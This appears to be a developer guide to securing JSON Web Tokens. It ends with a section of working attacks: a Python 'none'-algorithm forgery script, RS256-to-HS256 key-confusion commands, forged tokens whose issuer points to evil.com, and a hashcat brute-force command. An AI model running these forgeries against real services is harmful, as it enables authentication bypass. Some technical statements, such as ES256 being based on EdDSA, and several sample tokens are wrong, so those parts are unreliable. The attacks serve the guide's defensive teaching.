

How to safely use JWT

Best practices to audit and use JWT

- [JWT security](#)

JWT security

JWT is safe.

JWT misconfiguration is **widespread** and involves **huge security breaches**

Ressources

- [Debug and decode JWT token \(mirror\)](#)
- [Stop using JWT for web sessions](#)
- [When to use symmetric signing](#)
- [Exploit on JWT token](#)
- [Re-signing attack](#)

Introduction

JSON Web Token (JWT) is a compact and safe (*if well configured*) way to transmit information between 2 services. It's a long string formed of base64 encoded parts separated by dots. There is two types of JWT :

1. JWS : Signed token. A JWS contains 3 parts : **header.payload.signature** (most often used)

For instance :

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0Ij0iYWRtaW4iOnRydWUsIm1hdCI6MTY1OTYyMzIzNCwiZXhwIjoxNjU5NjI2ODM0fQ.HoqxjHC40hVry54WelwgeYo6AeHdmEHk4qDg\n_Wn3wRo
```

JWE : Encrypted token. A JWE contains 5 parts :

header.encrypted_key.init_vector.ciphertext.auth_tag (rarely used)

“ Header

The header contains data related to the type of token and the algorithm used for its generation :

```
{
  "alg": <algorithm tag>,
  "typ": <type tag>
}
```

“ Payload

The payload contains the data used by the user to make their authenticated request.

Fields usage is free but here's some standard :

```
{
  "sub": <Subject>,
  "exp": <expiration date>,
  "iss": <issuer, ie the server that issued the token>,
  [...]
}
```

“ Signature

It is just an encoded string used to verify the authenticity of the header and payload, and used as a proof of JWT's origin.

JWT as access token

JWTs are often used as Access Token and contain user data that may permit to identify them and grant access to resources. For example, a JWT will be forged by the remote server and be sent to the user, who sends it back every time he wants to access a resource. The server's role is then to verify the **integrity** of the JWT to allow (or not) the access. Here's how:

Stored information

As mentioned, JWT stocks base64 encoded information.

That means, even if a user cannot read with their own eyes the JWT, everyone can **decode it** and read the embedded information.

For example,

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoiYWRtaW4iOnRydWUsImIhdCI6MTY1OTk0NDg1MiwiaXhwIjoxNjU5OTQ4NDUyfQ.Iqqw7KLeLYWTVeVhane0r1ggWc0qN6RRi-C7k9APHb7fa1FVRrqtEt3vud0iLduf9pE6oYtwtS4xLpa0EhnE2Q
```

is just the base64 of

```
{
  "alg": "ES256",
  "typ": "JWT"
},
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1659944852,
  "exp": 1659948452
}
Iqqw7KLeLYWTVeVhane0r1ggWc0qN6RRi-C7k9APHb7fa1FVRrqtEt3vud0iLduf9pE6oYtwtS4xLpa0EhnE2Q
```

So, everyone can read information from a JWT and modify a JWT before submitting to the server. That's why the **signature** (last part of the JWT) is fundamental.

The signature

Signature is a cryptographic method used to verify the integrity and ownership of data.

There is two types of signature algorithm :

Symmetric signature (*Should not be used at org scale*)

For *symmetric signature*, the secret keys do both signature and verification. **It is not recommended.**

Asymmetric signature (*Should be used at org scale*)

The private key is used to sign data. It created a cipher text called the *signature*.

The public key can be used by anyone to *verify* the signature. It brings 2 fundamental information :

- If signature corresponds with the given data : **The signature depends on every byte of the data. If data changed, the signature will not correspond anymore.**
- If the signature was made by the private key of the key-pair : **The public key only verifies data signed with its associated private key.**

Back to JWT, we understand why the signature is crucial :

Signature ensures

1. **Integrity** : Data hasn't been altered by the user : The JWT didn't change so its data is the same as the server transmitted.
2. **Origin certification** : Data had been certified by the server : The JWT was forged by the server and no one else.

That is the basic foundation of JWTs. Now, we need to see how y use them securely.

Safe use of JWTs

The point 1., 2. and 3. are the basic JWT configurations which must be used at all times. This is the minimum security required to have a secure JWT usage.

1. Algorithm to use

As we've seen, the JWT's **header** contains the algorithm to use for signing or encryption.

Here's the most recommended algorithms to combine efficiency and safety :

1 - ES256 - An asymmetric algorithm

ES256 is a very efficient and secure algorithm based on EdDSA (one of the elliptic curve algorithm references).

“ AS256 is an asymmetric algorithm, that's means a key-pair is generated

1. The private key** is used to sign the data. :warning: **It must, in ANY case remain secret and only known by ONE server** :warning:
2. The public key** is used to verify the data with the signature. It can be shared to all production servers, but by precaution, do not share it publicly.

2 - HS256 - A symmetric algorithm (not recommended)

The use of symmetric algorithm isn't recommended

When using symmetric keys all parties need to know the shared secret. So when the number of involved parties grows it becomes more and more difficult to guard the safety of the secret, and to replace it, in case it is revealed.

The other reason is the **proof of who actually signed the data**. That's one of the main advantages of asymmetric keys over symmetric keys : you're sure that the JWT was signed by whoever is in possession of the **private key**. In case of symmetric signing, any party that has access to the secret (for verification purposes), can also sign the tokens.

If, for some reason you have to use symmetric signing, the algorithm to use is **HS256** to ensure security and efficiency of the signature.

To avoid as much as possible the issues explained above, try to use ephemeral secrets, which will help increase security.

See https://en.wikipedia.org/wiki/Ephemeral_key

NEVER USE BOTH SYMMETRIC AND ASYMMETRIC ALGORITHMS IN ONE SERVICE

The alg whitelist (see below) should not contain symmetric and asymmetric signature algorithms, to not be vulnerable to the RS256-to-HS256 attack

2. Token generation process

Specify the algorithm

- `alg` : The token must be generated **server side**, with one of the **above algorithms**. It should only contain information used to identify the user by the server (an id, a username) that can be **publicly exposed** !

Never store confidential information : password, SSN, or anything that could help an attacker to breach the API

Remember, a JWT can be stolen and can be decoded by anyone.

Always specify an expiration date

- `exp` : The token must include an **expiration date**. This information can be embedded in the **payload**. Indeed JWT is a classic token that shouldn't be valid forever. According to the org policy, the expiration date must be short (< 1 day) and refreshed if needed.

Always specify the issuer

- `iss` : The token must include the **issuer** (server who forged the token) to avoid the malicious use of a valid token of another service/website/company. It is usually an URL.

Always specify the audience

- `aud` : The token must include the **audience referring to the Resource Servers that should accept the token**, to avoid the use of a valid token to retrieve resources he's not allowed to see. It is usually an URL.

Remember,

A JWT used by the client as an authentication and the origin of the request cannot be controlled. So, the JWT must contain all information required to retrieve the context of the JWT generation, to what extent, for how long, for what purposes, to who was it generated etc ...

Example of the minimum required for a JWT generation :

```
{
  "alg": "ES256",
  "typ": "JWT"
},
{
  "exp": 1659948452,
  "iss" : "api.example.com/auth",
  "aud" : "api.example.com/scope/*",
  "userId" : "183HDB2",
  < + anything not confidential >
},
<signature>
```

3. Token receiver verification process

The JWT verification is the crucial part of the authentication.

Note that the by default configuration of general verification code is vulnerable :

- A verified JWT, is **NOT** a JWT with a valid signature.
- A verified JWT is a JWT with the right headers AND the right scope (**`aud`, `exp` and `iss`)
AND a valid signature.

Never trust user input.

JWT is just text without proper verification : See section below

To consider an authentication as valid, here's what to do :

Always verify the JWT signature

Always verify among a very short and strict algorithm whitelist

DO NOT TRUST THE ALGORITHM FIELD FROM THE JWT's HEADER

The algorithm field is an **indication** of what algorithm can be used to verify the signature. But it cannot be trusted.

Create a whitelist of authorized algorithms (it should only include one or two algorithms). If not, an attacker could forge his own token with the `none` alg. This algorithm skips the signature verification process and so all token with none alg will be valid !

Do not create a black list of `none` alg. This header isn't case sensitive ! (More information below)

Always check the JWT issuer

Issuer must match with the whole issuer URL

To avoid the use of a valid JWT from another service, check if the issuer is EXACTLY equal to an already trusted service.

This is particularly crucial when the verification key is provided by another service.

DO NOT FOLLOW THE ISSUER HEADER

Again, this header can be edited by anyone, so if the public key is stored elsewhere and is downloaded for verification, be sure the issuer is one of the **trusted services**. If not, an attacker could use his own website to host a public key that can verify the malicious tokens and bypass authentication (see below).

Do not use regex. An issuer must be exact or rejected. If you expect the issuer to be `https://example.com`, this is not the same as `https://example.com/secure` !

Always check the JWT audience

Audience must match with the whole service URL

The server should expect that the token has been issued for an audience, which the server is part of. It should reject any requests that contain tokens intended for different audiences. This helps to mitigate attack vectors where one resource server would obtain a genuine Access Token intended for it, and then use it to gain access to resources on a different resource server, which would not normally be available to the original server.

Summary :

Always check the JWT's scope

As mentioned in the generation part, the server has to get from the JWT the exact context of its creation, with whitelisted header and payloads information that has to be as accurate as possible. The more lax the context is about a JWT, the more permissive the token is, even if it is used in one very accurate case.

If the signature or the headers or the scope is blurred the authentication must be refused.

Basic attacks on JWT

This section exposes the most used attacks on JWT. It helps to understand why all the points above are crucial and can break the auth in a few seconds. *This is not an exhausted list.*

Some payload attacks are inspired from [Payloads All The Things](#).

1. JWT Signature - None algorithm

JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

None algorithm variants:

- none
- None
- NONE
- nOnE

To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.

However, this won't work unless you **remove** the signature.

Python exploit :

```
# From https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import jwt

jwtToken      = <token>

decodedToken  = jwt.decode(jwtToken, verify=False, algorithms=<algo>) # Need to decode the
token before encoding with type 'None'
noneEncoded   = jwt.encode(decodedToken, key='', algorithm=None)

print(noneEncoded.decode())
```

2. JWT issuer - Lack of verification

Let be this JWT :

```
{
  "alg": "ES256",
  "typ": "JWT"
},
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1659944852,
  "exp": 1659948452,
  "iss" : 'https://example.com/jwt/public_key.pem'
}
Iqqw7KLelYWTVeVhane0r1ggWc0qN6RRi-C7k9APHb7fa1FVRrqtEt3vud0iLduf9pE6oYtwtS4xLpa0EhnE2Q
```

The verification consists in downloading the public key from the issuer, and verifying the signature with it.

If there is **no whitelist made**, then an attacker can forge is now token, with their own private key, hosts their public key on `https://evil.com/public_key.pem` :

```
{
  "alg": "ES256",
  "typ": "JWT"
},
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1659944852,
  "exp": 1659948452,
  "iss" : 'https://evil.com/public_key.pem'
}
JP73-tYlR34A0HwFmvAHmSVxEwiSokDvtPVU80SZtfYuULaNjVol4KadBzkm9aj2XtnD4dBmpLj6ZX6_7vPeIA
```

The verification would pass and the authentication too.

What if the issuer is whitelisted with a regex :

An attacker could post his public key on a public part of the org website and still pass the authentication :

```
{
  "alg": "ES256",
  "typ": "JWT"
},
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1659944852,
  "exp": 1659948452,
  "iss" : 'https://example.com/forum/1863EE35'
}
JP73-tYlR34A0HwFmvAHmSVxEwiSokDvtPVU80SZtfYuULaNjVol4KadBzkm9aj2XtnD4dBmpLj6ZX6_7vPeIA
```

The verification would pass and the authentication too.

3. JWT Signature - RS256 to HS256

“ **RS256** is an asymmetric algorithm, so the private key is used to sign and the public key to verify.

HS256 is a symmetric algorithm, so the private key is used to sign and verify.

The goal is to modify the header `alg` from **RS256** (asymmetric) to **HS256** (symmetric) and to sign the data with the public key (which can be available publicly).

After the malicious JWT submission, the remote server will try to verify the signature using the public key, as usual, but now using a symmetric algorithm. If the server is vulnerable, this will succeed and will accept the authentication.

Here are the steps to edit an RS256 JWT token into an HS256 :

1. Convert our public key (key.pem) into HEX with this command.

```
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
```

1. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited :

```
$ echo -n
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjZaXNpdG9yIiwicm9sZSI6IjEi
fQ" | openssl dgst -sha256 -mac HMAC -macopt
hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
```

1. Convert signature (Hex to "base64 URL") :

```
$ python3 -c "exec(\"import base64, binascii\nprint
base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f2
61a0c588910e0')).replace('=','')\")"
```

1. Add signature to edited payload

```
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
```

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjZiIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjl0jB-GLyYaDFiJE0A
```

This vulnerability is fixed with the latest python jwt package.

But the safest is to use a whitelist on the algorithm header

“ This algorithm confusion can also happen with ECDSA, cf [Exploring Algorithm Confusion Attacks on JWT: Exploiting ECDSA](#)

4. JWT cracker

[Hashcat](#) now supports JWT secret brute force

```
hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a  
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM5OTY0LTIyMi0yOSI6IjEifQ:Fh7HgQ:secret
```

Use a random and strong secret

5. Other references

- <https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6>
- <https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/>
- <https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/>
- <https://blog.websecrify.com/2017/02/hacking-json-web-tokens.html>
- <https://nandynarwhals.org/hitbgsec2017-pasty/>
- <https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/>
- <https://github.com/dwyl/learn-json-web-tokens>
- <https://medium.com/@blackhood/simple-jwt-hacking-73870a976750>
- <https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/>

- <https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9>
- <https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html>
- <https://trustfoundry.net/jwt-hacking-101/>
- <https://insomniasec.com/blog/auth0-jwt-validation-bypass>